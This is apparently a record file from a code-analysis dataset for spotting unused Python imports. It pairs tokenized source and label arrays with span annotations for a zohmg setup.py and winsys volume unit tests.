[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "vim", ":", " ", "tabs", "top", "=", "4", " ", "shift", "widt", "h", "=", "4", " ", "soft", "tabs", "top", "=", "4_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "nose_", "._", "tools_", "import_", "ok\\u_", ",_", "eq\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "from", " ", "ryu", ".", "app", ".", "simple", "\\u", "switch", " ", "import", " ", "Simple", "Switch_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Test", "Sampl", "e2_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Sampl", "e2_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test", "S2", "Func", "1_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ok\\u_", "(_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Sampl", "e2_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "S2", "Func", "2_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ok\\u_", "(_", "True_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
zohmg/zohmg/src/setup.py
[ { "content": "# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\nfrom setuptools import setup, find_packages\n\nsetup(\n name = 'zohmg',\n version = '0.2.2-dev',\n author = 'Fredrik Mollerstrand, Per Andersson',\n author_email = '{fredrik,per}@last.fm',\n license = 'Apache License 2.0',\n packages = ['zohmg'],\n zip_safe = True,\n entry_points = {\n 'console_scripts': [\n 'zohmg = zohmg.cmd:zohmg',\n ]\n },\n install_requires = ['dumbo']\n)\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "from setuptools import setup, find_packages", "start_line": 17, "start_column": 0, "end_line": 17, "end_column": 43 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "License", "d", " ", "to", " ", "the", " ", "Ap", "ache", " ", "Sof", "twa", "re", " ", "Foun", "dati", "on", " ", "(", "AS", "F", ")", " ", "under", " ", "one_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "or", " ", "more", " ", "contributor", " ", "license", " ", "agreement", "s", ".", " ", " ", "See", " ", "the", " ", "NOTICE", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "distributed", " ", "with", " ", "this", " ", "work", " ", "for", " ", "addition", "al", " ", "information_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "regarding", " ", "copyr", "ight", " ", "owner", "ship", ".", " ", " ", "The", " ", "AS", "F", " ", "license", "s", " ", "this", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "you", " ", "under", " ", "the", " ", "Ap", "ache", " ", "License", ",", " ", "Version", " ", "2.0", " ", "(", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "License", "\");", " ", "you", " ", "may", " ", "not", " ", "use", " ", "this", " ", "file", " ", "except", " ", "in", " ", "compli", "ance_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "with", " ", "the", " ", "License", ".", " ", " ", "You", " ", "may", " ", "obtain", " ", "a", " ", "copy", " ", "of", " ", "the", " ", "License", " ", "at_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "http", "://", "www", ".", "apa", "che", ".", "org", "/", "license", "s", "/", "LICENSE", "-", "2.0_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Un", "less", " ", "require", "d", " ", "by", " ", "applica", "ble", " ", "law", " ", "or", " ", "agree", "d", " ", "to", " ", "in", " ", "writ", "ing", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "software", " ", "distributed", " ", "under", " ", "the", " ", "License", " ", "is", " ", "distributed", " ", "on", " ", "an_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "AS", " ", "IS", "\"", " ", "BAS", "IS", ",", " ", "WITH", "OUT", " ", "WAR", "RAN", "TIES", " ", "OR", " ", "CONDITION", "S", " ", "OF", " ", "ANY_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "KIND", ",", " ", "eit", "her", " ", "express", " ", "or", " ", "impli", "ed", ".", " ", " ", "See", " ", "the", " ", "License", " ", "for", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "specific", " ", "language", " ", "govern", "ing", " ", "permissi", "ons", " ", "and", " ", "limit", "ations_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "under", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "setuptools_", "import_", "setup_", ",_", "find", "\\u", "packages_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "setup_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "name_", "=_", "'", "zo", "hm", "g", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "'", "0.", "2.2", "-", "dev", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "author_", "=_", "'", "Fre", "dri", "k", " ", "Mol", "ler", "strand", ",", " ", "Per", " ", "And", "ers", "son", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "author", "\\u", "email_", "=_", "'{", "fre", "dri", "k", ",", "per", "}@", "last", ".", "fm", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "license_", "=_", "'", "Ap", "ache", " ", "License", " ", "2.0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "packages_", "=_", "[_", "'", "zo", "hm", "g", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "zip", "\\u", "safe_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "entry", "\\u", "points_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "console", "\\u", "scripts", "'_", ":_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "'", "zo", "hm", "g", " ", "=", " ", "zo", "hm", "g", ".", "cmd", ":", "zo", "hm", "g", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "install", "\\u", "requires_", "=_", "[_", "'", "dumb", "o", "'_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
tjguk/winsys/winsys/tests/test_fs/test_volume.py
[ { "content": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nimport os, sys\nimport struct\nimport tempfile\nfrom winsys._compat import unittest\n\nimport win32api\nimport win32file\n\nfrom winsys import fs\n\n\nif __name__ == \"__main__\":\n unittest.main ()\n if sys.stdout.isatty (): raw_input (\"Press enter...\")\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class TestVolume (unittest.TestCase):\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root.TestVolume", "header": "['module', '___EOS___']", "index": 13 }, { "content": " @staticmethod\n def get_info (volume):\n return win32api.GetVolumeInformation (volume)", "metadata": "root.TestVolume.get_info", "header": "['class', 'TestVolume', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 15 }, { "content": " @staticmethod\n def get_volume ():\n return win32file.GetVolumeNameForVolumeMountPoint (sys.executable[:3])", "metadata": "root.TestVolume.get_volume", "header": "['class', 'TestVolume', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 19 }, { "content": " def test_name (self):\n volume = self.get_volume ()\n v = fs.Volume (volume)\n self.assertEquals (v.name, volume)", "metadata": "root.TestVolume.test_name", "header": "['class', 'TestVolume', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 23 }, { "content": " def test_label (self):\n volume = self.get_volume ()\n info = self.get_info (volume)\n self.assertEquals (fs.Volume (volume).label, info[0])", "metadata": "root.TestVolume.test_label", "header": "['class', 'TestVolume', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 28 }, { "content": " def test_serial_number (self):\n volume = self.get_volume ()\n info = self.get_info (volume)\n #\n # Convert signed to unsigned number\n #\n value, = struct.unpack (\"L\", struct.pack (\"l\", info[1]))\n self.assertEquals (fs.Volume (volume).serial_number, value)", "metadata": "root.TestVolume.test_serial_number", "header": "['class', 'TestVolume', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 33 }, { "content": " def test_maximum_component_length (self):\n volume = self.get_volume ()\n info = self.get_info (volume)\n self.assertEquals (fs.Volume (volume).maximum_component_length, info[2])", "metadata": "root.TestVolume.test_maximum_component_length", "header": "['class', 'TestVolume', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 42 }, { "content": " def test_flags (self):\n volume = self.get_volume ()\n info = self.get_info (volume)\n self.assertEquals (fs.Volume (volume).flags.flags, info[3])", "metadata": "root.TestVolume.test_flags", "header": "['class', 'TestVolume', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 47 }, { "content": " def test_file_system_name (self):\n volume = self.get_volume ()\n info = self.get_info (volume)\n self.assertEquals (fs.Volume (volume).file_system_name, info[4])", "metadata": "root.TestVolume.test_file_system_name", "header": "['class', 'TestVolume', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 52 }, { "content": " def test_mounts (self):\n volume = self.get_volume ()\n self.assertEquals (\n list (fs.Volume (volume).mounts),\n [path.lower () for path in win32file.GetVolumePathNamesForVolumeName (volume)]\n )", "metadata": "root.TestVolume.test_mounts", "header": "['class', 'TestVolume', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 57 }, { "content": " @unittest.skip (\"Difficult to test\")\n def test_mount (self):\n #\n # Difficult to test because it's not possible\n # to mount a volume on two drive letters simultaneously.\n # Try to find something unimportant, like a CDROM, and\n # dismount it before remounting it.\n #\n pass", "metadata": "root.TestVolume.test_mount", "header": "['class', 'TestVolume', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 64 }, { "content": " @unittest.skip (\"Destructive test\")\n def test_dismount (self):\n #\n # Likewise difficult to test because destructive\n #\n pass", "metadata": "root.TestVolume.test_dismount", "header": "['class', 'TestVolume', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 74 } ]
[ { "span": "import os, sys", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 14 }, { "span": "import tempfile", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 15 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "unicode", "\\u", "literals_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", ",_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "struct_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "tempfile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "wins", "ys_", "._", "\\u", "compat_", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "win32", "api_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "win32", "file_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "wins", "ys_", "import_", "fs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "\"\\u\\u", "main", "\\u\\u\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "unittest_", "._", "main_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "sys_", "._", "stdout_", "._", "isatty_", "(_", ")_", ":_", "raw", "\\u", "input_", "(_", "\"", "Press", " ", "enter", "...\"_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Test", "Volume_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Volume_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "info_", "(_", "volume_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "win32", "api_", "._", "Get", "Volume", "Information_", "(_", "volume_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Volume_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "volume_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "win32", "file_", "._", "Get", "Volume", "Name", "For", "Volume", "Mount", "Point_", "(_", "sys_", "._", "executable_", "[_", ":_", "3_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Volume_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "name_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "volume_", "=_", "self_", "._", "get", "\\u", "volume_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "v_", "=_", "fs_", "._", "Volume_", "(_", "volume_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "v_", "._", "name_", ",_", "volume_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Volume_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "label_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "volume_", "=_", "self_", "._", "get", "\\u", "volume_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "info_", "=_", "self_", "._", "get", "\\u", "info_", "(_", "volume_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "fs_", "._", "Volume_", "(_", "volume_", ")_", "._", "label_", ",_", "info_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Volume_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "serial", "\\u", "number_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "volume_", "=_", "self_", "._", "get", "\\u", "volume_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "info_", "=_", "self_", "._", "get", "\\u", "info_", "(_", "volume_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Convert", " ", "sign", "ed", " ", "to", " ", "unsigned", " ", "number_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "value_", ",_", "=_", "struct_", "._", "unpack_", "(_", "\"", "L", "\"_", ",_", "struct_", "._", "pack_", "(_", "\"", "l", "\"_", ",_", "info_", "[_", "1_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "fs_", "._", "Volume_", "(_", "volume_", ")_", "._", "serial", "\\u", "number_", ",_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Volume_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "maxim", "um", "\\u", "component", "\\u", "length_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "volume_", "=_", "self_", "._", "get", "\\u", "volume_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "info_", "=_", "self_", "._", "get", "\\u", "info_", "(_", "volume_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "fs_", "._", "Volume_", "(_", "volume_", ")_", "._", "maxim", "um", "\\u", "component", "\\u", "length_", ",_", "info_", "[_", "2_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Volume_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "flags_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "volume_", "=_", "self_", "._", "get", "\\u", "volume_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "info_", "=_", "self_", "._", "get", "\\u", "info_", "(_", "volume_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "fs_", "._", "Volume_", "(_", "volume_", ")_", "._", "flags_", "._", "flags_", ",_", "info_", "[_", "3_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Volume_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "file", "\\u", "system", "\\u", "name_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "volume_", "=_", "self_", "._", "get", "\\u", "volume_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "info_", "=_", "self_", "._", "get", "\\u", "info_", "(_", "volume_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "fs_", "._", "Volume_", "(_", "volume_", ")_", "._", "file", "\\u", "system", "\\u", "name_", ",_", "info_", "[_", "4_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Volume_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "mounts_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "volume_", "=_", "self_", "._", "get", "\\u", "volume_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "list_", "(_", "fs_", "._", "Volume_", "(_", "volume_", ")_", "._", "mounts_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "path_", "._", "lower_", "(_", ")_", "for_", "path_", "in_", "win32", "file_", "._", "Get", "Volume", "Path", "Names", "For", "Volume", "Name_", "(_", "volume_", ")_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Volume_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "unittest_", "._", "skip_", "(_", "\"", "Diff", "icult", " ", "to", " ", "test", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "mount_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Diff", "icult", " ", "to", " ", "test", " ", "bec", "aus", "e", " ", "it", "'", "s", " ", "not", " ", "possible_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "mount", " ", "a", " ", "volume", " ", "on", " ", "two", " ", "drive", " ", "letter", "s", " ", "simultaneous", "ly", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Tr", "y", " ", "to", " ", "find", " ", "somet", "hing", " ", "unim", "porta", "nt", ",", " ", "like", " ", "a", " ", "CD", "ROM", ",", " ", "and_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "dis", "mount", " ", "it", " ", "bef", "ore", " ", "remo", "unti", "ng", " ", "it", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Volume_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "unittest_", "._", "skip_", "(_", "\"", "Destr", "ucti", "ve", " ", "test", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "dis", "mount_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Lik", "ew", "ise", " ", "difficult", " ", "to", " ", "test", " ", "bec", "aus", "e", " ", "destruct", "ive_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2,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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 